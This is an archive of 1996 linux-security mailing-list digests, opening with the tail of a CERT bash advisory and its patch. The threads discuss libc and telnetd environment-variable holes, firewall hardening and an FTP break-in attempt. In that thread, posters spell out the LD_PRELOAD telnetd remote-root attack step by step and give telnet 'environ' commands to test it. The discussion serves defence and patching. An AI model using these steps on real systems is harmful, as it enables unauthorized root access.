potentially vulnerable to this problem. III. Solution A. Vulnerability in yy_string_get On 27 August 1996, Version 1.14.7 of bash was released. You can obtain this new version from: ftp://slc2.ins.cwru.edu/pub/dist/bash-1.14.7.tar.gz B. Vulnerability in yy_readline_get It is not clear that this problem produces any exploitable vulnerabilities in the "bash" program; however, you may wish to address the problem for the sake of completeness. This problem can be alleviated by applying the patch below to the bash source code, then recompiling the program, and installing the new version. The patch below is for Version 1.14.7 of bash. Source code for this version can be obtained from the site listed above. - - ---------------------------------- cut here --------------------------------- *** parse.y.old Mon Aug 26 11:15:55 1996 - - - - - --- parse.y Wed Aug 28 08:49:15 1996 *************** *** 801,807 **** #if defined (READLINE) char *current_readline_prompt = (char *)NULL; ! char *current_readline_line = (char *)NULL; int current_readline_line_index = 0; static int - - - - - --- 801,807 ---- #if defined (READLINE) char *current_readline_prompt = (char *)NULL; ! unsigned char *current_readline_line = (unsigned char *)NULL; int current_readline_line_index = 0; static int - - --------------------------------- cut here ---------------------------------- To apply this patch, save the text between the two "--- cut here ---" lines to a file, change directories to the bash source directory, and issue the command patch < filename If you do not have the patch program, you can obtain it from ftp://prep.ai.mit.edu/pub/gnu/patch-2.1.tar.gz or you can apply the patch by hand. After applying the patch, recompile and reinstall the bash program by following the directions in the "INSTALL" file, included as part of the bash distribution. - - ---------------------------------------------------------------------------- The CERT Coordination Center thanks IBM-ERS for permission to reproduce the technical content in their IBM Emergency Response Service Security Vulnerability Alerts ERS-SVA-E01-1006:004.1 and ERS-SVA-E01-1006:004.2. These alerts are copyrighted 1996 International Business Machines Corporation. - - ---------------------------------------------------------------------------- If you believe that your system has been compromised, contact the CERT Coordination Center or your representative in the Forum of Incident Response and Security Teams (see ftp://info.cert.org/pub/FIRST/first-contacts). CERT/CC Contact Information - - --------------------------- Email [email protected] Phone +1 412-268-7090 (24-hour hotline) CERT personnel answer 8:30-5:00 p.m. EST(GMT-5) / EDT(GMT-4) and are on call for emergencies during other hours. Fax +1 412-268-6989 Postal address CERT Coordination Center Software Engineering Institute Carnegie Mellon University Pittsburgh PA 15213-3890 USA Using encryption We strongly urge you to encrypt sensitive information sent by email. We can support a shared DES key or PGP. Contact the CERT/CC for more information. Location of CERT PGP key ftp://info.cert.org/pub/CERT_PGP.key Getting security information CERT publications and other security information are available from http://www.cert.org/ ftp://info.cert.org/pub/ CERT advisories and bulletins are also posted on the USENET newsgroup comp.security.announce To be added to our mailing list for advisories and bulletins, send your email address to [email protected] - - ----------------------------------------------------------------------------- Copyright 1996 Carnegie Mellon University This material may be reproduced and distributed without permission provided it is used for noncommercial purposes and the copyright statement is included. CERT is a service mark of Carnegie Mellon University. - - ----------------------------------------------------------------------------- This file: ftp://info.cert.org/pub/cert_advisories/CA-96.22.bash_vuls http://www.cert.org click on "CERT Advisories" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Revision history - -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMlpe6nVP+x0t4w7BAQGXjQP7BkkMX06QR3nQEV2FV6Qo4p0bVSU88Kef a9kjcXhJyUM1gE0QnLNo8dbL5PAUvatlRDowZv71l+UTh0BZum8apq+dpOhe+WF+ ko95vQEqKbfSkY7FiTrOY/gKJZWMV31ddlwCldl68OKbuRqQg6hfgWSQX264jWb3 m+nIj5VkuK8= =Fodb - -----END PGP SIGNATURE----- ------------------------------ End of linux-security-digest V2 #66 *********************************** linux-security-digest/v02.n067100664 1767 1767 47434 6230210416 15453 0ustar majdommajdomFrom: owner-linux-security-digest To: [email protected] Subject: linux-security-digest V2 #67 Reply-To: linux-security Errors-To: owner-linux-security-digest Precedence: bulk linux-security-digest Sunday, 13 October 1996 Volume 02 : Number 067 [linux-security] Summary: Linux firewall with ro fs? Re: [linux-security] libc 5.4.7 Re: [linux-security] libc 5.4.7 Re: [linux-security] libc 5.4.7 Re: [linux-security] libc 5.4.7 Re: [linux-security] libc 5.4.7 Re: [linux-security] Linux firewall with ro fs? [linux-security] tty chowning Re: [linux-security] Linux firewall with ro fs? Re: [linux-security] libc 5.4.7 Re: [linux-security] libc 5.4.7 Re: [linux-security] libc 5.4.7 [linux-security] telnetd/telnetsnoopd (was Re: libc 5.4.7) Re: [linux-security] libc 5.4.7 [linux-security] Dialup Password Implementation ---------------------------------------------------------------------- From: Jozsef Kadlecsik Date: Fri, 11 Oct 1996 09:17:42 +0100 (MET) Subject: [linux-security] Summary: Linux firewall with ro fs? Hello, My question was: > I'm thinking on building a firewall with Linux and have just thought > the following: I'm paranoid on firewalls and want it to be as secure > as possible. Is there any difficulty in running Linux with all > filesystems ro? (The only writable fs would be /var = noexec, nosuid, > nodev.) The mount command would be a patched one which wouldn't > make possible to re-mount an fs to r/w. I received three type of answers/solutions 1. It's OK and doable, but don't forget about /var/spool/cron/crontabs/root and other critical files under the writable /var. 2. Better use SCSI disks with hardware pin for ro - or CD-ROM. 3. Use one-floppy system with ramdisk, so the system doesn't need a hard disk at all. I must admint I love the idea of the latter, however I cannot see how could I handle the problem of a possible big mail spool, not to mention the static binaries versus shared libraries question. [REW: Oh.. naughty naughty, you want to run stuff on your firewall.... (Some people think a firewall shouldn't run any applications like mail)] I think I choose the solution of a physically ro SCSI disk and a rw disk with carefully checked /var. Thank you the answers sent to me private or in this mailing list. With the best regards, Jozsef Kadlecsik - - E-mail : [email protected], [email protected] WWW-Home: http://www.kfki.hu/~kadlec Address : KFKI Research Institute for Particle and Nuclear Physics P.O.B 49 Budapest, 1525 Hungary ------------------------------ From: [email protected] (Alan Cox) Date: Wed, 9 Oct 1996 22:57:18 +0100 (BST) Subject: Re: [linux-security] libc 5.4.7 > > Does this also drop the variables from programs run by a setuid program ? > No. libc ignores the variables; it does not clear them. So a setuid app that runs an app with uid set to the euid is still a walking road accident. (like telnetd running login) Alan ------------------------------ From: David Holland Date: Thu, 10 Oct 1996 12:34:02 -0400 (EDT) Subject: Re: [linux-security] libc 5.4.7 > > Yes. IMO, one should not do that (personally I wouldn't count on the > > right thing happening with LD_*, much less any other environment > > variables, rlimits, utmp entries, umasks, or what-have-you.) > > With ld.so.7.14 the LD_ variables are correctly scrubbed. rlimits can be > a problem as sendmail has demonstrated. If you're writing for multiple platforms you don't *know* the LD_ stuff will get handled right. - -- - David A. Holland | VINO project home page: [email protected] | http://www.eecs.harvard.edu/vino ------------------------------ From: David Holland Date: Wed, 9 Oct 1996 17:42:35 -0400 (EDT) Subject: Re: [linux-security] libc 5.4.7 > > It's been two months. You can read any file trivially on an unpatched > > Slackware system without logging in. You can get a root shell with a > > bit more effort. This is not acceptable. > > Slackware has been unacceptable for a long time and probably won't change > in the future... That's true, but a lot of people are running it and they need to be made aware of the hazard. I haven't put out a bulletin urgently advising everyone to upgrade to netkit-b-0.08 because in order to explain why I need to talk about the libc problems, and until now there hasn't been a public release of a fixed libc. > I am jus afraid, that 5.4.x is not yet tested enough and that some > people would have to downgrade again. So am I. I don't know what else we can do. We're already approaching typical vendor turnaround time on this security hole. :( - -- - David A. Holland | VINO project home page: [email protected] | http://www.eecs.harvard.edu/vino ------------------------------ From: [email protected] (Florian La Roche) Date: Thu, 10 Oct 1996 10:51:27 +0200 Subject: Re: [linux-security] libc 5.4.7 David Holland writes: > > 5.4.8 is totally buggy for me. I am unable to compile anything > > with it. I get a bunch of undefined stuff. I think putshort is one of > > them.. just try compiling a hello.c with 5.4.8 There is a need to fix this > > and others so that we have a decent working libc. 5.4.7 is pretty stable > > but is pretty stable stable enough. Besides the 5.4.x series of libcs > ^^^^^^^^^^^^^^^^^^^^^^^^^^^ > ? > > crashes netscape if it runs java and occasionally causes netscape to croak > > without reason. > > Does this happen to anyone else? > > Does anyone have any idea why? Do we need to make a 5.3.12A release? This is happening for many people. One problem is an incompatible libxpm and the other seems to be different malloc in 5.3.12 or higher. (5.2.18 is best for netscape.) xpm seems to be the worst thing. If you have menues or buttons with small icons, netscape easily crashes. (Those icons are normally only available, if people have installed Motif.) Florian ------------------------------ From: David Holland Date: Wed, 9 Oct 1996 14:24:58 -0400 (EDT) Subject: Re: [linux-security] libc 5.4.7 > David Holland wrote: > : I'm working on a fixed version [I've been altogether too busy of late, > : I'm afraid]. It is reasonably safe to use the 0.07A telnet; just don't > : use it as part of a restricted shell setup. > > : The telnet*D* in 0.07A on the other hand is pretty unsafe. > > Or you can get the original telnet/telnetd from cray and apply the > patches I have available. > > ftp://ftp.dhp.com/pub/linux/security/telnet.95.10.23.patch > > I've had no problems with this at all.... You may not, but from a cursory inspection it's not safe - your patch doesn't address anything related to security whatsoever, and the original source does not appear to block RESOLV_HOST_CONF or any of the other things libc honors, although it does block LD_*. The libc upgrade disallows these settings for setuid and setgid programs; since login is not setuid when run from telnetd, anything login does that might tickle these variables is a major hazard. This is doubly true if your login is statically linked against a libc prior to 5.4.7, or if you haven't updated libc, in which case buffer overflow games are possible too. ** To repeat: Do NOT use cray telnetd at this point. - -- - David A. Holland | VINO project home page: [email protected] | http://www.eecs.harvard.edu/vino ------------------------------ From: Zoltan Hidvegi Date: Thu, 10 Oct 1996 00:06:57 +0200 (MET DST) Subject: Re: [linux-security] Linux firewall with ro fs? Jozsef Kadlecsik wrote: > Hello, > > I'm thinking on building a firewall with Linux and have just thought > the following: I'm paranoid on firewalls and want it to be as secure > as possible. Is there any difficulty in running Linux with all > filesystems ro? (The only writable fs would be /var = noexec, nosuid, > nodev.) The mount command would be a patched one which wouldn't > make possible to re-mount an fs to r/w. It seems to be perfectly possible. On the Linux systems I manage I am able to remount /usr and / ro any time. I have used this a few times to fsck / and /usr without shutting down the system. None of these systems are firewalls but one of them is a havily used NFS/ftp/www server with www proxy cache etc. I think all current distributions allow ro mounted /usr and / filesystems. > [REW: Good idea. Remember to make /tmp a link to /var/tmp. Don't > bother with the mount thing. I'd assume that the hackers would be > able to get themselves a new mount binary. (If they are already running > stuff as root.......) They could not execute the mount binary with noexec on /var. But they can probably write it in perl. Any program which can load user specified birary modules should be disabled. The best solution is probably put together such a system by hand including only those binaries which are necessary for the firewall. > I'd suggest delving into the kernel sources and finish off implementing > "securelevel" which would disallow reading/writing devices, and remounting > filsystems r/w, loading modules etc etc..] That would be the real solution. Zoltan ------------------------------ From: David Holland Date: Thu, 10 Oct 1996 01:22:19 -0400 (EDT) Subject: [linux-security] tty chowning About a month ago I mentioned a way to handle tty chowning without being root. Unfortunately, it had some problems. Here's another shot: Make an ioctl on the pty end that does the chowning. ioctl(pty_fd, TIOCCHOWN, path) In order to be able to find the tty end, you pass in the path to the tty end. The ioctl confirms that the path points to a device inode that's the tty end of the pty in question (otherwise returns EPERM), and then does chmod(path, 0600) chown(path, getuid(), ?); revoke(path) Linux needs a revoke, but that's another problem entirely. I'm not sure what to do with the gid - maybe assume they'll all be initialized to group tty and not change it? Maybe have the gid to use be passed into the ioctl? Suggestions? The code to open a pty would then look something like this: while (1) { char *path = mumble_get_next_pty_name(); if (!path) break; int ptyfd = open(path, O_RDWR); if (ptyfd<0) continue; path[5] = 't'; if (ioctl(ptyfd, TIOCCHOWN, path)<0) continue; int ttyfd = open(path, O_RDWR); if (ttyfd<0) { close(ptyfd); continue; } do_something_with_ptyfd_such_as_fork(ptyfd); return ttyfd; } return -1; Thoughts? - -- - David A. Holland | VINO project home page: [email protected] | http://www.eecs.harvard.edu/vino ------------------------------ From: Daniel Pewzner Date: Tue, 8 Oct 1996 22:48:30 -0700 (PDT) Subject: Re: [linux-security] Linux firewall with ro fs? I thought about putting an entire fs on cdrom. With the current price or cdrom writers, you could just burn another when you need to update. I know its wasteful, but its a fun idea. Not all motherboards boot of cdrom, of course. When booting, create a little ramdisk you can write to, and have writable files a sym link to the ramdisk. Use a printer for your syslogs, so you have a hardcopy. Its probably not something I'll ever do, but sounds cool ;) On Mon, 7 Oct 1996, Jozsef Kadlecsik wrote: > I'm thinking on building a firewall with Linux and have just thought > the following: I'm paranoid on firewalls and want it to be as secure > as possible. Is there any difficulty in running Linux with all > filesystems ro? (The only writable fs would be /var = noexec, nosuid, > nodev.) The mount command would be a patched one which wouldn't > make possible to re-mount an fs to r/w. > > [REW: Good idea. Remember to make /tmp a link to /var/tmp. Don't > bother with the mount thing. I'd assume that the hackers would be > able to get themselves a new mount binary. (If they are already running > stuff as root.......) > > I'd suggest delving into the kernel sources and finish off implementing > "securelevel" which would disallow reading/writing devices, and remounting > filsystems r/w, loading modules etc etc..] ------------------------------ From: Jauder Ho Date: Wed, 9 Oct 1996 12:37:45 -0700 (PDT) Subject: Re: [linux-security] libc 5.4.7 5.4.8 is totally buggy for me. I am unable to compile anything with it. I get a bunch of undefined stuff. I think putshort is one of them.. just try compiling a hello.c with 5.4.8 There is a need to fix this and others so that we have a decent working libc. 5.4.7 is pretty stable but is pretty stable stable enough. Besides the 5.4.x series of libcs crashes netscape if it runs java and occasionally causes netscape to croak without reason. - --Jauder On Wed, 9 Oct 1996, David Holland wrote: > > > > Ahhhh, RESOLV_HOST_CONF is fixed in 5.4.7 eh? well, i fixed it with a > > > > PATCH for 1.8.2..... so, thats no prob ;> > > > > > > I should point out that this is by no means the only security problem > > > fixed in 5.4.7 - there are a number of others, at least one of which > > > can possibly permit anyone anywhere on the net to get a root shell, > > > and several where users can get root shells. > > > > > > RESOLV_HOST_CONF isn't the only environment variable referenced by > > > libc - nor is it the least dangerous one. You need to update to libc > > > 5.4.6 or higher (that protects environment vars in setuid programs) > > > and install the telnetd from NetKit-B-0.08 or equivalent, to protect > > > against having these things sent via telnet. > > > > > > I am not going to post a complete catalog of the problems at this > > > time, but I advise strongly against complacency or assuming a > > > home-grown RESOLV_HOST_CONF patch is sufficient. > > > > The RESOLV_HOST_CONV Bug can be deleted by a small change in the loader > > that just deleted that environment-variable for suid programs. > > Reread the part of my previous message you just quoted - > RESOLV_HOST_CONF is *not* the only problem. > > > Is 5.4.7 really enough bug-free to push people using it? I saw YP > > fixes mentioned in the 5.4.8 changelog. Is 5.4.7 still usable? (Haven't > > looked at the changes.) > > It better be. It's already been two months since this problem was > discovered; it's high time the fixes were available. I made it pretty > clear to HJ that we needed a working release, and I bloody well hope > we have it 'cause we've got to use it. > > > What bug-reports did you get for NetKit-B 0.08? I have just found > > a bug in telnet, that closes the connection if telnet gets a return > > value of <=0 Bytes instead of just checking for <0. > > ("telnet somewhere; cat file" will sometimes trigger this bug) > > A number. NetKit-B-0.09 would be out already if I had more time to > finish it off. > > I think I have that one fixed, but just in case could you send me the > line numbers? > > > I think, we should take some more time and not start pushing people... > > It's been two months. You can read any file trivially on an unpatched > Slackware system without logging in. You can get a root shell with a > bit more effort. This is not acceptable. > > -- > - David A. Holland | VINO project home page: > [email protected] | http://www.eecs.harvard.edu/vino > .sig under construction ------------------------------ From: Alan Cox Date: Sat, 12 Oct 1996 13:44:14 +0100 (BST) Subject: Re: [linux-security] libc 5.4.7 > This is happening for many people. One problem is an incompatible libxpm > and the other seems to be different malloc in 5.3.12 or higher. > (5.2.18 is best for netscape.) Im running a patched 5.2.18 still. We definitely need a 5.3.12patched release as libc5.4 is nowhere near production quality yet. Its good developer quality but not had the final polish. Alan ------------------------------ From: David Holland Date: Wed, 9 Oct 1996 18:41:26 -0400 (EDT) Subject: Re: [linux-security] libc 5.4.7 >>> Does this also drop the variables from programs run by a setuid program ? >> No. libc ignores the variables; it does not clear them. > > So a setuid app that runs an app with uid set to the euid is still a walking > road accident. (like telnetd running login) Yes. IMO, one should not do that (personally I wouldn't count on the right thing happening with LD_*, much less any other environment variables, rlimits, utmp entries, umasks, or what-have-you.) - -- - David A. Holland | VINO project home page: [email protected] | http://www.eecs.harvard.edu/vino ------------------------------ From: Roscinante Date: Sat, 12 Oct 1996 13:42:29 -0400 (EDT) Subject: [linux-security] telnetd/telnetsnoopd (was Re: libc 5.4.7) [Rosc] > > Are there patches to the original telnet/d at least? On Wed, 9 Oct 1996, David Holland wrote: > You need to patch it to block all environment variables except for > those known to be safe (which is basically limited to a half dozen or > so you can find in the current telnetd source.) Ok, I spent the day doing a line-by-line comparison of the old telnetsnoopd & NetKit's telnetd, and as I said previously, there does not seem to be that great a difference between them, a paragraph at the bottom of global.c seemed to be the most significant addition. If anyone would check over my changes, I would appreciate it. I'm uploading it to sunsite, along with the original telnetsnoopd source (found on the slackware cdrom from InfoMagic June '96) ~~ All that is gold does not glitter.. . Not all those who wander are lost..J.R.R.T. . /\ . ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ._____// \\_____. And the knowledge that they fear . \\ Rush // . is a weapon to be held against them.. N.P. . \\ 2112 // . ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ . // /\ \\ . Ghost in the Machine ([email protected]) I[[[[[[[[]]]]]]]]I Roscinante ([email protected]) http://www.globalent.net/users/fbn ------------------------------ From: Alan Cox Date: Thu, 10 Oct 1996 09:48:55 +0100 (BST) Subject: Re: [linux-security] libc 5.4.7 > Yes. IMO, one should not do that (personally I wouldn't count on the > right thing happening with LD_*, much less any other environment > variables, rlimits, utmp entries, umasks, or what-have-you.) With ld.so.7.14 the LD_ variables are correctly scrubbed. rlimits can be a problem as sendmail has demonstrated. Alan ------------------------------ From: Michael Lu Date: Fri, 11 Oct 1996 10:19:27 +0800 (GMT+0800) Subject: [linux-security] Dialup Password Implementation Greetings, We are currently running linux version 1.2.13. We are thinking to add a dialup passwords to our system. But I can't find any documentation for it. The only information I got is from AT&T System V's. ANyone out there can help me setup the /etc/dialups and /etc/d_passwd? I am not sure of the format, and not sure if it will work on Unix. Thank you very much in advance. regards, Myke Lu - --- \||/ /-----o00o-@@-o00o-------------------+-------------------------------------\ | Michael Chieh-Ying, Lu | Address : 9th flr, SolidBank Bldg. | | System/Net Admin , Web Master | Dasmarinas st., Binondo | | Quasi-Net Communications Inc. | Manila, Philippines | | | Telephone : (632)245-8763, | | Pager : 145-511425 | (632)245-8764 | | Email : [email protected] | Fax : (632)242-4918 | \------------------------------------+-------------------------------------/ ------------------------------ End of linux-security-digest V2 #67 *********************************** linux-security-digest/v02.n068100664 1767 1767 45131 6231536524 15460 0ustar majdommajdomFrom: owner-linux-security-digest To: [email protected] Subject: linux-security-digest V2 #68 Reply-To: linux-security Errors-To: owner-linux-security-digest Precedence: bulk linux-security-digest Thursday, 17 October 1996 Volume 02 : Number 068 Re: [linux-security] libc 5.4.7 Re: [linux-security] libc 5.4.7 Re: [linux-security] telnetd/telnetsnoopd (was Re: libc 5.4.7) Re: [linux-security] telnetd/telnetsnoopd (was Re: libc 5.4.7) [linux-security] sshd with a custom shadow /bin/login [linux-security] Attempt to break through ftp Re: [linux-security] Attempt to break through ftp Re[2]: [linux-security] Attempt to break through ftp Re: [linux-security] tty chowning [linux-security] Re: Alinux-securityA Attempt to break through ftp [linux-security] lots of in.comsat calls lately... Re: [linux-security] Attempt to break through ftp ---------------------------------------------------------------------- From: steve farrell Date: 12 Oct 1996 14:53:38 -0500 Subject: Re: [linux-security] libc 5.4.7 [email protected] (Florian La Roche) writes: > > David Holland writes: > > > 5.4.8 is totally buggy for me. I am unable to compile anything > > > with it. I get a bunch of undefined stuff. I think putshort is one of > > > them.. just try compiling a hello.c with 5.4.8 There is a need to fix this > > > and others so that we have a decent working libc. 5.4.7 is pretty stable > > > but is pretty stable stable enough. Besides the 5.4.x series of libcs > > ^^^^^^^^^^^^^^^^^^^^^^^^^^^ > > ? > > > crashes netscape if it runs java and occasionally causes netscape to croak > > > without reason. > > > > Does this happen to anyone else? > > > > Does anyone have any idea why? Do we need to make a 5.3.12A release? > > This is happening for many people. One problem is an incompatible libxpm > and the other seems to be different malloc in 5.3.12 or higher. i've compiled 5.4.7 with the old malloc and the new malloc, and it *definitely* appears to cause instability with netscape/java runtime to use the new doug lea malloc. evidentally the difference is that the old malloc is forgiving of deletes called on non-malloc'd memory, but the new is not. i am still planning to confirm that netscape is in fact doing exactly this, and hence the instability. probably the best suggestion i've heard is to use the LD_PRELOAD to point netscape at it's own libc with the old malloc, and to write a script to launch netscape as such. i've just recompiled my libc.5.4.7 using the old malloc and it works fine. i don't notice any slowdown - -- others do -- but i'm using a P6, so... - --steve farrell > (5.2.18 is best for netscape.) in my (obviously informal) tests, 5.4.7 with old malloc is fine for netscape. however, short of compiling a special 5.4.7, using LD_PRELOAD to get 5.2.18 w/netscape only is probably a good plan. > xpm seems to be the worst thing. If you have menues or buttons with small > icons, netscape easily crashes. (Those icons are normally only available, > if people have installed Motif.) interesting -- i haven't seen this ------------------------------ From: David Holland Date: Wed, 9 Oct 1996 17:21:58 -0400 (EDT) Subject: Re: [linux-security] libc 5.4.7 > > > Would you be willing to patch that up? > > > IMNSHO tty snooping is a violation of user privacy. I don't want any > > part of it, so, frankly, telnetsnoopd can fend for itself. It sounds > > like this is just another good reason not to use it... > > Are there patches to the original telnet/d at least?? I don't mean > to question anyone's morality, but I do use ttysnoop to -help- show > my users how to do things, and have occassionally snooped people > cracking... That's really unrelated to wanting to patch the src so > its not an easy crack tho... You need to patch it to block all environment variables except for those known to be safe (which is basically limited to a half dozen or so you can find in the current telnetd source.) I don't have telnetd diffs; you can make them with old netkit sources (judging from the date on the rcsid you posted, you need to go *way* back) but they're enormous. Which, as you might guess, is why I don't have them. Frankly, if what you want is a gadget for helping users, you probably want something that works more like script(1), and rather than expending effort on lost causes like telnetsnoopd you should spend the same time hacking script. - -- - David A. Holland | VINO project home page: [email protected] | http://www.eecs.harvard.edu/vino ------------------------------ From: Roscinante Date: Sun, 13 Oct 1996 16:28:45 -0400 (EDT) Subject: Re: [linux-security] telnetd/telnetsnoopd (was Re: libc 5.4.7) On Sun, 13 Oct 1996, Avery Pennarun wrote: [Rosc] > > Ok, I spent the day doing a line-by-line comparison of the old telnetsnoopd & > I did some hacking on ttysnoop a while back, and it seems to me that the > only required change to telnetd was to make it call "ttysnoops" (notice the > trailing 's') instead of "login" after the connection was established. Boy, I wish I'd've known that before I spent the day hacking at it =) It's easy enough to edit /usr/include/paths.h to make #define _PATH_LOGIN "/bin/login" into /bin/ttysnoops momentarily, while telnetd compiles. That worked quite well, thank you for the info!! :) > The ttysnoops program does its thing with the tty's and then spawns login > normally. You then contact it with the "ttysnoop" (no trailing 's'). > So search and replace "/bin/login" with "/usr/sbin/ttysnoops" (or whatever > it is on your system) in the latest telnetd source, and you should be fine. > To avoid recompiling telnetd all the time, someone might add a > command-line parameter that tells telnetd what login program to use. > Hard-coding it in always seemed kind of silly to me. [REW: reverse-trimmed the quoting, so you all can now read it in just ONE message... :-) ] ~~ All that is gold does not glitter.. . Not all those who wander are lost..J.R.R.T. . /\ . ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ._____// \\_____. And the knowledge that they fear . \\ Rush // . is a weapon to be held against them.. N.P. . \\ 2112 // . ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ . // /\ \\ . Ghost in the Machine ([email protected]) I[[[[[[[[]]]]]]]]I Roscinante ([email protected]) http://www.globalent.net/users/fbn ------------------------------ From: Miquel van Smoorenburg Date: Mon, 14 Oct 1996 22:45:12 +0200 (MET DST) Subject: Re: [linux-security] telnetd/telnetsnoopd (was Re: libc 5.4.7) You (Roscinante) wrote: > On Sun, 13 Oct 1996, Avery Pennarun wrote: > > I did some hacking on ttysnoop a while back, and it seems to me that the > > only required change to telnetd was to make it call "ttysnoops" (notice the > > trailing 's') instead of "login" after the connection was established. > > > To avoid recompiling telnetd all the time, someone might add a > > command-line parameter that tells telnetd what login program to use. > > Hard-coding it in always seemed kind of silly to me. Funny, on Debian-1.1.10: telnetd - DARPA TELNET protocol server SYNOPSIS /etc/telnetd [-debug [port]] [-l] [-L login_program] [-D options] [-D report] [-D exercise] [-D netdata] [-D pty� data] The "-L" option does what you want. Strange that different distributions have different versions of something as "standard" as telnetd. AFAIK the Debian telnetd does have all the security fixes in it. Please correct me if I am wrong! Mike. - -- Miquel van | Cistron Internet Services -- Alphen aan den Rijn. Smoorenburg, | mailto:[email protected] http://www.cistron.nl/ [email protected] | The truth is out there. 42. ------------------------------ From: Kevin at Paranoia Date: Tue, 15 Oct 1996 05:53:04 -0500 Subject: [linux-security] sshd with a custom shadow /bin/login Sorry, I haven't been able to reach www.cs.hut.fi all morning to check the ssh mailing list archive there and I'm in a bit of a time crunch to find an answer on this.. hopefully someone else can help me (and quick). I'm using sshd on a linux 2.0.22 system with a custom /bin/login (based on shadow-960810) which I'd like to have invoked from sshd when a login comes in by ssh. As it is, the sshd code contains its own "login" code that I don't want to have to modify for every change that I've made in my shadow login. Besides my other changes in the shadow /bin/login, sshd doesn't allow for MD5CRYPT passwords. Is there any way to have sshd just invoke /bin/login (with the -f flag if the user is preauthenticated) to perform the login? Is there some reason why it doesn't do this already (or at least offer the option)? How has anyone else dealt with this? Thank you very much. kevin - -- [email protected] (personal priority mail address) got nothing better to do? "The Internet interprets the US Congress as damage and routes around it" ------------------------------ From: Evgeny Stambulchik Date: Wed, 16 Oct 1996 03:10:47 +0200 (GMT+0200) Subject: [linux-security] Attempt to break through ftp Hello, A few hours ago there was an attempt to break into our server. >From xferlog: Tue Oct 15 20:29:21 1996 28 dgr-il2-24.ix.netcom.com 4005 /incoming/lininfo.zip b _ i a fucker ftp 0 * Now, #file ~ftp/incoming/lininfo.zip ELF 32-bit LSB shared object, Intel 386, version 1, not stripped # strings ~ftp/incoming/lininfo.zip [skipped not interesting stuff] root-access Welcome to the wonderful world of uid = 0 squidge /bin/sh exploit from my forthcoming paper: Hardening your site - outside -> in - --- As far as I can see, nothing wrong has happend (of course I removed the file & disabled net traffic from *.ix.netcom.com). Anybody knows what kind of attack is it? Or is it something new? Also, by a chance - some email of _real_ people at ix.netcom.com? root, support etc are just an autoreplyiers :-( Regards, Evgeny - -- ____________________________________________________________ / Evgeny Stambulchik \ / Plasma Laboratory, Weizmann Institute of Science, Israel \ \ | Phone : (972)8-934-3610 == | == FAX : (972)8-934-3491 | | | URL : http://plasma-gate.weizmann.ac.il/~fnevgeny/ | | | Finger for PGP key >=====================================+ | |______________________________________________________________| ------------------------------ From: Jeff Uphoff Date: Wed, 16 Oct 1996 17:19:08 -0400 Subject: Re: [linux-security] Attempt to break through ftp "ES" == Evgeny Stambulchik writes: ES> Welcome to the wonderful world of uid = 0 ES> squidge ES> /bin/sh ES> exploit from my forthcoming paper: ES> Hardening your site - outside -> in ES> --- ES> Anybody knows what kind of attack is it? Or is it something new? This library can be found all over the place, in both source form and as mouse-droppings left over from break-in attempts: it's libroot.so, a shared library that replaces the libc getpass() and openlog() calls with a system() call that runs /bin/sh. Basic (remote) attack goes as follows: 1) FTP this library into a site's incoming area. 2) Start telnet. 3) Pass the fully-qualified path to the library in the remote system's FTP incoming area as $LD_PRELOAD via telnet's environment-passing features. 4) Connect to the remote system. 5) You've now got root on the remote system, without any authentication. Local attack varies in that you can use /tmp for stashing the library and then just connect to localhost. (These instructions can all be found in the readme for the source code.) This vulnerability has been known for quite awhile now--and has been fixed for quite some time as well. (It's *very* easy to exploit--it's one of the easiest break-in methods imaginable--and it has been widely used on the net.) The fixes have been relatively well-publicized. Some of the fixes that address this: 1) Fixed (patched) telnetd. 2) Static linking of /bin/login and friends. 3) Login "wrapper" program that cleans up the environment. - --Up. - -- Jeff Uphoff - systems/network admin. | [email protected] National Radio Astronomy Observatory | [email protected] Charlottesville, VA, USA | [email protected] PGP key available at: http://www.cv.nrao.edu/~juphoff/ ------------------------------ From: Evgeny Stambulchik Date: Wed, 16 Oct 1996 18:03:24 +0200 (GMT+0200) Subject: Re[2]: [linux-security] Attempt to break through ftp Hello, First of all, thanks alot to all who replied to me! - ------------------------------- Alan Cox wrote: > Probably the old LD_LIBRARY_PATH telnetd shared library attack. Yes, I guessed it, just didn't know which exploit source it was compiled from. Thanks to Andrew Tridgell for reference! > Since you > are clued up enough to read this group I think you'll have a modern telnetd Yes, of course I have the patched version since the first alert. > Put that file back in /tmp on your box and check if you get > > %telnet > telnet>environ define LD_PRELOAD /tmp/lininfo.zip > telnet>environ export LD_PRELOAD > telnet>telnet localhost > root-access > Welcome to the ... However, in my case it was in ~ftp/incoming, which had mode 733 (and owned by root). I think it would prevent the bug in old telentd to be exploited anyway, though I don't have the buggy version at hand to check it. [Mod: Mode 733 wouldn't have prevented exploit; inetd runs telnetd as root. --Jeff.] - ------------------------------------------------------- Comfort is Treachery wrote: > Don't you have identd in your logs? AFAIU, identd should be running on client's box + ftpd server must be able to talk to it. Which ftpd has this capability? - --------------------------------------------- James Fidell wrote: > E-mail to [email protected] will get an auto-response but should get > dealt with by the staff that handle Net abuse. Thanks, I'll do that. Regards, Evgeny BTW, it seems that there's no searchable html'ized archives of this list. That at www.sonic.net has only year 95 partly (and glimpse search is broke). If there is no objections, I can volounteer to do it. - -- ____________________________________________________________ / Evgeny Stambulchik \ / Plasma Laboratory, Weizmann Institute of Science, Israel \ \ | Phone : (972)8-934-3610 == | == FAX : (972)8-934-3491 | | | URL : http://plasma-gate.weizmann.ac.il/~fnevgeny/ | | | Finger for PGP key >=====================================+ | |______________________________________________________________| ------------------------------ From: Miquel van Smoorenburg Date: Wed, 16 Oct 1996 10:53:37 +0200 (MET DST) Subject: Re: [linux-security] tty chowning You (David Holland) wrote: > About a month ago I mentioned a way to handle tty chowning without > being root. Unfortunately, it had some problems. > > Here's another shot: > > Make an ioctl on the pty end that does the chowning. > > ioctl(pty_fd, TIOCCHOWN, path) I think it's a good idea. Good enough for noone to comment on it any more :) I think you should just create the patch for the Linux-2.1.x tree and send it to Linus or post it on the linux-kernel mailing list. Or here? Mike. - -- Miquel van | Cistron Internet Services -- Alphen aan den Rijn. 